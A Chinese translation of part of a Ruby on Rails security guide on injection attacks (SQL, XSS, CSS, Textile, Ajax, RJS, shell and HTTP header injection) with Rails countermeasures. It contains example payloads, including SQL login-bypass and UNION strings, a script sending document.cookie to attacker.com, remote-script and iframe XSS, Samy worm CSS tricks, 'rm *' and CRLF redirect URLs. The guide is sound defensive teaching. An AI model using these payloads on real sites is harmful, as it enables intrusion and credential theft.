本文的译言链接是: [url]http://www.yeeyan.com/articles/view/blackanger/18007[/url]

8.注入
— 注入这类***是给一个web应用引入恶意的代码或是参数,以便在其安全的上下文里运行。注入的著名的例子就是跨站点脚本(XSS)和SQL注入。
注入是非常棘手的,因为相同的代码或参数在一个环境是恶意的,但是换个环境却是完全无害的。一个上下文可以是一个脚本,查询或是程序语言,shell或是Ruby/Rails方法。 下面的章节会涵盖所有重要的注入***可能发生的所有上下文。然而第一部分只涉及一个与注入相关的架构决策。
8.1. 白名单 vs 黑名单
— 当净化(sanitizing),保护(protecting)或者验证(verifying)一些东西的时候,白名单胜于黑名单。
黑名单可以是一堆恶意的e-mail地址清单,非公开的actions或者是恶意的HTML tags。 这正好和白名单相反,白名单是安全的e-mail地址,公开的actions,合法的HTML tags等等。虽然有时候不可能去创建一个白名单(比如在一个垃圾过滤器里),但也更应该偏向于去使用白名单的方式::
*
使用 before_filter :only ⇒ […] 代替 :except ⇒ […].  这个方法使你避免忘记去屏蔽新增的actions带来的困扰。
*
使用 attr_accessible 代替 attr_protected. 请看mass-assignment这节的内容(白名单)
*
允许<strong>而不是取消<script>来应付Cross-Site Scripting (XSS)。看下文的细节。
*
不要使用黑名单的方式验证用户的输入:
o
这是段可用的***代码: "<sc<script>ript>".gsub("<script>", "")
o
但要拒绝恶意的输入
白名单是一个好方法,可以避免在黑名单里因为人为因素而忘记一些东西的情况。
8.2. SQL注入
— 要感谢那些聪明的方法,使得在大多数的Rails应用中SQL注入成为了一个困难的问题。然而这是一个在web应用里非常严重和常见的***,所以理解它是重要的。
8.2.1. 引入
SQL注入***的目的是通过操作web应用的参数来影响数据库查询。一种常见目标的SQL注入***是绕开授权。另一种目标是执行数据操纵或者是读取任意数据。这有个例子来说明在查询里不使用用户输入的数据 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
这段代码可能放在search action里,用户可以输入一个项目的名字来查找他想找的那个项目。 如果一个恶意用户输入了OR 1=1, 查询结果就会变成:
SELECT * FROM projects WHERE name = '' OR 1 --'
这两破折号开始一个注释忽略它后面的一切玩意儿。 所以查询返回projects表的全部记录,包括对用户屏蔽的内容。 这是因为查询条件为真。
8.2.2. 绕过授权
一般一个web应用是包括访问控制的。用户输入他的登陆凭证,web应用试图在users表里去找到与其相匹配的结果。如果它找到一条记录,那么应用就授其访问权限。然而,一个***者可能通过SQL注入的手段绕开这个检查。下面是一个典型的Rails数据库查询,当那些登陆凭证和用户输入的一致时,就会在users表里找到对应的第一条记录。
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
如果一个***者输入 OR '1=1 作为用户名,  OR 2>'1 作为密码, 那么查询结果就会变成:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
这会很简单就找到了数据库的第一条记录,并且给了这个用户访问权限。
8.2.3. Unauthorized reading
UNION连接的两个SQL查询,会返回一组数据集。一个***者可以用它来读取数据库里的任意数据,让我们拿上面的例子来看 :
Project.find(:all, :conditions => "name = '#{params[:name]}'")
现在让我们使用UNION来注入另一个查询:
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
它最后是这样的SQL查询结果:
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --')
这个结果不会是项目的列表(因为给的name是空的),而是返回用户名和他们密码的列表。所以希望你在数据库里对密码加密!对***者来说,唯一的问题是这两则查询语句的列数必须相同。这就是为什么第二个查询包含了一组(1),它们的值一直为1,是为了匹配第一组查询的列数。(译者注:projects表为6列,那么后面的也是6列,所以要加三个1)
此外,第二个查询语句用as重新命名了一些列的名字是为了使web应用显示这些user表里的值。一定要更新你的Rails到最新的2.1.1。
8.2.4.对策
Ruby on Rails有一个专门过滤SQL字符的内置过滤器, 它会过滤 '  ,  Null字符和破折号。使用 Model.find(id) 或 Model.find_by_some_thing(something)会自动的应用这个对策[,#fffcdb]. 但是在SQL片段,尤其在条件片段(:conditions ⇒ "…"), connection.execute() 或 Model.find_by_sql() 方法里, 必须通过手工操作。
不要给条件参数里传一个字符串,你可以像这样传一个数组来净化威胁:
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
如你所见, 这个数组的第一部分是以问号标记的sql片段,第二部分中的变量来取代问号。或者你可以传一个hash也是一样的效果:
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
数组和hash只适用于model实例.在其他地方你可以尝试sanitize_sql(). 当在SQL里适用以个外部字符串时候,要习惯性的思考其安全方面的后果。
8.3. 跨站脚本 (XSS)
— web应用最广泛的最严重的安全漏洞就是XSS. 它是注入客户端可执行代码的恶意***。Rails提供了很多helper方法来抵御这类***.
8.3.1.切入点
一个切入点是指***者可以开始***的有缺陷的URL及其参数。
最常见的切入点是消息贴,用户评论和留言本,但是项目的名称,文件名称和搜索结果页也是脆弱的 - 只要是用户可以输入数据的任何地方。但是输入并不一定必须来自网站的输入框,它可以是任何的URL参数 -  可见的,隐藏的或内部的。 请记住,用户可以截断任何通信,像使用 Live HTTP Headers Firefox plugin或client-site proxies 可以很容易的改变请求。
XSS ***原理是这样的: 一个***者注入了一段代码,web应用保存并把它显示在了页面上,之后就呈现给了受害者。最简单的XSS例子是显示一个警告框,但是它的能力不仅仅是这样的。XSS可以窃取cookie,劫持session;让受害者重定向到一个虚假网站,显示有利于***者的广告,改变站点内如以获取机密信息或通过浏览器的安全漏洞安装恶意软件。
在2007年的下半年,mozilla浏览器有88个漏洞报告,Safari有22个,IE有18个,Opera有12个。 赛门铁克全球网络安全威胁报告也记载了239个浏览器插件的漏洞。Mpack 是一个非常积极的利用这些漏洞的最新***框架。web应用框架的SQL注射漏洞和在每一个文本表列里插入恶意代码对罪恶的***是很有吸引力的。 在2008年4月,有超过510,000家网站就这样被黑的,其中包括英国政府,联合国和很多更高级的目标。
一个比较新的,不普遍的切入点方式是广告banner。在2008年较早的时候, 恶意代码就出现在很多知名站点的banner广告上,像MySpace, Excite, 参考Trend Micro.
8.3.2. HTML/JavaScript 注入
最常见的XSS语言当然是最流行的客户端脚本语言JavaScript了,往往和HTML相结合。对用户输入的信息转义处理是必须的。
这里是检测XSS的最直观的测试:
<script>alert('Hello');</script>
这段javascript代码会显示一个简单的警告框。下面这个例子不完全相同,仅用在非常罕见的地方:
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
Cookie盗窃
到目前为止的例子都没有任何危害,所以让我们来看看一个***者如何窃取用户的cookie(从而劫持用户session)。在JavaScript 里你可以用document.cookie来读写document的cookie. JavaScript遵循同源策略(译者注:大多数可用于异步检索内容的技术都继承了 JavaScript 安全模型的安全性,它使脚本只与源于该脚本所属页面所在的同一服务器的元素进行交互。这就是所有浏览器都实现了的同源策略),这就意味着一个脚本不能从一个域访问另一个域的cookie。document.cookie 属性仍然持有原始web服务器的cookie,然而,如果你直接在其HTML文档里嵌入了代码(XSS式)你就能读写这个属性。在你的应用注入这段代码来看你自己的cookie :
<script>document.write(document.cookie);</script>
当然这对于***者是无用的,因为是受害者看他自己的cookie。下个例子会试图从 [url]http://www.attacker.com/[/url] 加载一个图片以及cookie。当然这个URL不存在,所以浏览器也不会显示任何东西。但是***者可以在他自己的web服务器的日志文件里看到受害者的cookie。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
在[url]www.attacker.com[/url]上的日志文件会是这样 :
GET [url]http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2[/url]
你可以通过往cookies里加一个httpOnly 标记来减轻这类***,以便document.cookie无法被JavaScript读取。HTTP Only cookies可用于IE v6.SP1, Firefox v2.0.0.5 和 Opera 9.5. Safari仍然在犹豫,它忽略了这个参数。但另一方面旧版本的浏览器 (像基于Mac的WebTV 和 IE 5.5 )  实际会导致页面加载失败。Be warned that cookies will still be visible using Ajax, though.
感染
被***者感染的网页可以做很多事情, 例如, 呈现虚假信息或者引诱受害者到***者的网站,窃取其cookie,登陆凭证或者其他敏感数据。最流行的方法是通过iframes包含一个外部来源的代码:
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
它从外部源加载任意的HTML或且JavaScript,并嵌入到这个站点成为了此站点的一部分。这个IFrame来自于使用Mpack attack framework对一意大利合法网站的一次实际***。Mpack试图通过浏览器的安全漏洞去安装恶意软件 - 非常成功,50%的成功率。
一个更加专业的***可能会伪造整个网站或是看起来和原始站点一模一样的登陆表单,但是会把用户名和密码传送到***者的站点。或者它可以用CSS或且JavaScript在web应用里去隐藏一个合法的连接,却显示另一个通往冒牌网站的连接。
反射注入***不是存储在给受害人呈现的页面上,而是包含在URL里的。 尤其是搜索表单过滤失败那些搜索字符之后。下面这个链接呈现了一个内容为“乔治布什任命一个9岁的男孩当主席”的网页。
[url]http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--[/url]>
<script src=http://www.securitylab.ru/test/sc.js></script><!--
对策
过滤恶意的输入是非常重要的,但是转义web应用的输出(回显)也是重要的。
尤其对于XSS,白名单的输入过滤比黑名单好。白名单过滤的是被允许的值,而不是那些不被允许的。黑名单是总会有遗漏的。
想象一个黑名单从用户的输入里删除了“script”。现在***者注入了 “<scrscriptipt>”, 过滤之后还是 “<script>” . 早期版本的Rails为strip_tags(),strip_links(),strip_links()和sanitize()方法使用了黑名单方式。所以使这种注入方式成为可能:
strip_tags("some<<b>script>alert('hello')<</b>/script>")
这段代码返回的是可以使***执行的结果 "some<script>alert(hello)</script>". 这就是为什么我推荐用白名单的方式, 我们可以使用Rails 2里更新的sanitize()方法:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
这段代码只允许那些特定的标记可以好好工作,但是对那些花样的错误的标记则拒绝。
第二种方式是为转义那些应用的输出提供了一个好的实践, 尤其是当回显没有被过滤的用户的输入(比如前面的搜索表单)。 使用 escapeHTML() (或是它的别名 h()) 方法会把HTML字符 &,",<,>替换为 (&amp;, &quot;, &lt; 和 &gt;). 然而,很容易在程序里忘记使用它,所以推荐使用这个 SafeErb 插件. SafeErb 会提醒你转义那些外部***的字符串。
混淆及字符编码注入
网络通信大多是基于西方字母的, 所以有新的字符编码,像Unicode, emerged来传送其他语言 。但是,这也是web应用的一个威胁,因为恶意代码会隐藏在不同编码里,web浏览器可能无法处理,但是web应用并非如此。这里是一个UTF-8感染***:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
这个例子弹出一个消息框。它会被上述的sanitize()过滤。有一个伟大的工具去混淆和编码字符串,因此‘了解你的敌人’,它是Hackvertor。 Rails的sanitize() 方法可以有效阻止这类***。
8.3.3. 一些来自于”地下党“的例子
— 为了理解当今对于web应用的***,最好是来看看真实世界的***。
下面的摘要是来自于 Js.Yamanner@m Yahoo! Mail 蠕虫. 它出现在2006年6月11号,它是第一个webmail接口蠕虫 :
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target="" http_request = false;    var Email = '';
var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
该蠕虫利用Yahoo的HTML/Javascript过滤器的一个漏洞,该过滤器通常过滤target标签和 javascript)。这个过滤器只应用一次,所以蠕虫病毒代码就留在了原来的地方。这是个好的例子来说明为什么黑名单过滤器永远会有遗漏和为什么在 web应用里允许HTML/JavaScript是困难的。
另一种概念验证的webmail蠕虫是Nduja, 一个跨了4个意大利webmail服务器的跨域蠕虫。可以在Rosario Valotta's website找到更多的细节和视频。 这两个webmail蠕虫的目标都是为了收录电子邮件地址,一些罪恶的***可以凭此赚钱。
2006年12月,在MySpace 钓鱼***里有34,000真实用户名和密码被盗。这次***的手法是创建了一个叫”login_home_index_html“的profile页面,所以这个URL看起来让人毫不怀疑。特制的HTML和CSS用来隐藏MySpace真正的内容,显示的是***者的登陆表单。
MySpace Samy蠕虫会在CSS注入这节来讨论。
8.4. CSS注入
— CSS注入实际上是JavaScript注入, 因为一些浏览器(IE, 某些版本的Safari等) 允许在CSS里执行JavaScript. 如果在你的web应用允许自定义的CSS,请三思而后行。
通过 MySpace Samy 这个众所周知的蠕虫我们可以更好的解释CSS注入。只要有人访问Samy(***者)的个人资料,这个蠕虫就会自动的给别人发送一个朋友请求。几小时之内他曾超过100万个朋友请求,但它给MySpace创造了太多的通信以致于网站下线。下面是对该蠕虫的技术性解释。
MySpace屏蔽了很多tag,但是它允许css,所以该蠕虫作者就在css里这么做:
<div style="background:url('javascript:alert(1)')">
所以这个style属性就在是有效的加载了。但是这里不允许引号,因为单引号和双引号已经被用了。但是JavaScript有可以执行任意代码的eval()方法。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval() 函数是黑名单输入过滤器的噩梦,因为它允许它允许style属性去隐藏 “innerHTML”这个单词:
alert(eval('document.body.inne' + 'rHTML'));
下一个问题是MySpace过滤了 “javascript”, 所以蠕虫作者用“java<NEWLINE>script"就得到下面这样的:
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
另一个对于蠕虫作者的问题是CSRF安全令牌,如果没有的话,他不能通过POST发送以个朋友请求。他在增加好友解析结果之前通过发送一个GET访问一个正确的页面来绕开CSRF令牌。
最后他得到了一个4kb的蠕虫,并把它注入到了他自己的个人资料页面。
moz-binding 提供另一种基于Gecko浏览器(例如Firefox)在CSS里引入JavaScript的方法。
8.4.1. 对策
这个例子再次说明了黑名单永远会有遗漏。然而,自定义的CSS在网络应用是一种相当罕见的功能,我不知道白名单的CSS过滤器。如果你想允许自定义的颜色或图像, 可以让用户选择web应用提供的模板。如果你真的需要这样一个功能,请使用Rails的sanitize()方法作为一种css白名单过滤模式。
8.5. Textile 注入
— 如果你想提供HTML之外的其他文本格式(为了安全),请使用在服务端转化为HTML的标记语言。RedCloth就是为Ruby提供这种功能的语言。但是没有防范措施的话,就会是一个XSS缺陷。
例如,RedCloth翻译_test_ 为<em>test<em>, 使文本变成斜体。然而直到当前的3.0.4版本,仍然存在XSS缺陷。可以去下载
最新的已移除这个严重bug的版本。然而,即使是这个版本,也有严重的bug 。所以对策依然适用。 
这儿是版本 3.0.4的例子:
>> RedCloth.new('<script>alert(1)</script>').to_html
=> "<script>alert(1)</script>"
使用:filter_html选项来移除那些不被Textile原生的HTML:
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
=> "alert(1)"
然而它也不是过滤所有的HTML, 通过一些设计,一些标记还是会被留下,例如 <a>:
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
=> "<p><a href="javascript:alert(1)">hello</a></p>"
8.5.1. 对策
推荐使用RedCloth结合白名单输入过滤器的功能。
8.6. Ajax 注入
— 在Ajax actions里,并不会出现类似的安全问题. 这至少是个例外。然而,如果你的这个action没有渲染一个页面,那么必须在controller里转义这些输出。
如果你用 in_place_editor plugin, or 或者是返回一个字符串的actions, 而不是渲染一个页面,你就必须转义那些action里返回来的值。否则,如果返回来的值包含一个XSS脚本,恶意代码会被执行后返回浏览器。使用h()方法转义每一个输入的值。
8.7. RJS 注入
— 也不要忘记在JavaScript (RJS) 模板进行转义。
这个RJS API是基于Ruby代码来生成JavaScript块的,因此允许你可以在服务端操作一个页面或者页面的一部分。如果你允许用户在RJS模板里输入,请用在javascript函数里使用escape_javascript(), 在HTML这部分使用h()。否则***者能执行任意的JavaScript代码。
8.8. 命令行注入
— 谨慎使用用户提供的命令行参数。
如果你的应用必须在操作系统上执行命令,这样几个Ruby方法: exec(command), syscall(command), system(command) 和 `command`。如果用户可以输入整个命令或其一部分,你必须要特别小心用这些函数。这是因为大多数的shell,可以执行使用分号(;)和管道符(|)连接的两个命令。
一个对策是使用system(command, parameters) 来安全的传送命令行参数。
system("/bin/echo","hello; rm *")
# 输出的是 "hello; rm *" 但是不会删除文件
8.9. Header 注入
— HTTP headers 是动态生成的,在某些情况下可能是被注入的用户输入。这会导致错误的重定向,XSS 或 HTTP 响应截断***。
HTTP请求头有一个Referer, User-Agent (客户端软件) 和 Cookie域等等。响应头比如有一个状态码,cookie和Location (重定向目标 URL) 域。所有的这些都是用户提供的,并或多或少可以被操作。记住去过滤这些header域。例如当你在管理员区域显示user agent。
此外,还有一点很重要,就是当你构建一个基于用户输入响应头部分的时候你应该知道自己在做什么。例如你想把用户重定向到一个特别的页面。为了做到这一点,你在一个form表单里引入了referer字段去重定向到指定的地址 :
redirect_to params[:referer]
Rails把这些字符串放到Location头里,并且给浏览器发送一个302(重定向)状态码。那么恶意用户首先会这样做:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld[/url]
Rails2.1.2以下版本都有这个bug (不包括此版本), 一个***可能注入任意的header域; 例如这样的:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi![/url]
[url]http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld[/url]
注意这个 "%0d%0a" 是"\r\n"的URL编码。因此,第二个例子的HTTP header结果就是下面这样,因为第二个Location覆盖了第一个的。
HTTP/1.1 302 Moved Temporarily
(...)
Location: [url]http://www.malicious.tld[/url]
所以头注入的***感染是基于在header域的CRLF字符注入。 ***者可以用一个假的重定向做些什么?他可以重定向到一个和你的应用一样的钓鱼网站,但是再次请求登陆(给***者发送登陆凭证)。或者他可以通过浏览器安全漏洞在这个站点上安装恶意软件。 Rails 2.1.2在redirect_to方法里为Location过滤了这些字符。当你拿用户输入构建另一个header域时,请务必要自己过滤它们。
8.9.1. 响应头截断
如果头注射是可能的,那么响应头截断也是可能的。在HTTP里,header块后面是两个CRLFs符合和实际的数据(通常是HTML)。响应头截断的手法是在header域里注入两个CRLFs,再跟另一段含有恶意HTML的响应。 响应会变成:
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
在某些情况下,会给受害用户呈现恶意的HTML。 然而,但是它似乎只在长链接下工作(大多数的浏览器只用一次性链接)。但你不能忽视它。在任何情况下,这都是一个严重的bug,你应该更新你的Rails版本到2.0.5或2.1.2来减轻头注入的风险。
9.其他资源
安全场景是变化的,重要的一点是要跟得上,因为错过一个新的漏洞会是灾难性的。你可以找到其他关于安全(Rails)的资源:
*
The Ruby on Rails security project posts security news regularly: [url]http://www.rorsecurity.info[/url]
*
Subscribe to the Rails security mailing list
*
Keep up to date on the other application layers (they have a weekly newsletter, too)
*
A good security blog including the Cross-Site scripting Cheat Sheet
*
Another good security blog with some Cheat Sheets, too

Rails安全导读【完】相关推荐

  1. Rails安全导读【一】

    原文地址:[url]http://guides.rubyonrails.org/security.html[/url] --------翻译分割线 ,翻译的不好,请多多指正-------- Ruby ...

  2. Ruby on Rails的下载及安装以及开发环境的搭建

    要基于ruby开发应用程序,我们必须安装ruby.gem.rails.mongrel. 第一,到官方网站上下载最新的Ruby One-Click Installer版本(已经自带了RubyGems,一 ...

  3. 解析zxw doc文档最终版本

    var allTixingArr = [ '默写', '作文', '其他', '短文', '句子', '单句', '填空题', '简答题', '解答题', '判断题', //判断 '双选题', '计算 ...

  4. 自动解析zxw文档的javascript 代码保存

    var allTixingArr = [ '默写', '作文', '其他', '短文', '句子', '单句', '填空题', '简答题', '解答题', '判断题', //判断 '双选题', '计算 ...

  5. [...]ubuntu rvm rails 安装完之后消失的解决方法

    为什么80%的码农都做不了架构师?>>>    原因就是rvm没有添加到系统环境变量中, 所以一段时间之后命令行中将不再有rvm 或者rails的指令 http://www.myex ...

  6. (良心)世上最全设计模式导读(含难度预警与使用频率完整版)

    良心干货,感谢大佬的博客,让俺们这些菜鸟能飞起来!! 转载自:http://blog.csdn.net/lovelion/article/details/17517213 圣诞献礼! 2012年-20 ...

  7. DayDayUp:那些属于程序猿江湖的鄙视链(看完别笑^~^,哈哈,haha)

    DayDayUp:那些属于程序猿江湖的鄙视链(看完别笑^~^,哈哈,haha) 导读:程序猿江湖的鄙视链哈,老婆漂亮的程序猿>老婆不漂亮的程序猿>有女朋友的程序猿>单身程序狗:在单身 ...

  8. [rails] 我的订餐系统 -- 小试ruby on rails(转)

    前言         近期在java社区中一种新的脚本语言ruby,及用ruby开发的一个wab框架 rails也热闹了起来.引起了不少的java开发人员的关注. 本人平时还是很少接触脚本语言方面东东 ...

  9. 图像、视频生成大一统!MSRA+北大全华班「女娲」模型怒刷8项SOTA,完虐OpenAI DALL-E...

      视学算法报道   编辑:好困 小咸鱼 LRS [新智元导读]微软亚洲研究院.北京大学强强联合提出了一个可以同时覆盖语言.图像和视频的统一多模态预训练模型--NÜWA(女娲),直接包揽8项SOTA. ...

最新文章

  1. 解决安装svn后出现Unable to connect to a repository at URL以及认证失败
  2. 不会连PPPoE协议都不会配吧?
  3. docker重启容器命令
  4. 单手撑跨栏、两个空翻,终于看到了比人厉害的机器人
  5. python socket自动重连_详解python3中socket套接字的编码问题解决
  6. 在每个运行中运行多个查询_Spring Data JPA的运行原理及几种查询方式
  7. MATrICP论文解读
  8. 我有一辆机器人小车,怎么让它跑起来,还会避障、目标跟踪、路径规划?
  9. 【考试总结】NOIP模拟 test10-27
  10. VS2010 C++环境下DLL和LIB文件目录及名称修改
  11. vba字典重复key_利用VBA字典,提取两列数据的重复值
  12. 网站域名如何接入腾讯云CDN业务详细步骤!
  13. Python-个人笔记-Tensorflow-PINN-Plotting
  14. 达人评测 i7 11390h和i5 11320h选哪个好
  15. oracle delete加并发,并发delete导致oracle***锁问题的解决
  16. 【阿里云】域名解析 Tomcat绑定域名
  17. 【项目】小帽商城 II(一)
  18. R语言之管道符的使用和学习
  19. unity3d:向量计算:获得两点连线的垂直向量,判断目标方位(前后左右)
  20. 区块链架构与交易流程(fabric1.0)

热门文章

  1. Spring quartz 并发性研究
  2. java如何解决高并发问题_java怎么处理高并发?
  3. MySQL select后面的子查询使用
  4. MySQL模糊查询—like关键字
  5. zookeeper的名词复盘-版本-保证分布式数据原子性
  6. ConcurrentHashMap的源码分析-tryPresize
  7. 执行SQL-获取缓存
  8. OAuth2.0在项目中的应用
  9. 文件下载乱码问题分析与解决
  10. 数据库-优化-MYSQL数据库设计规范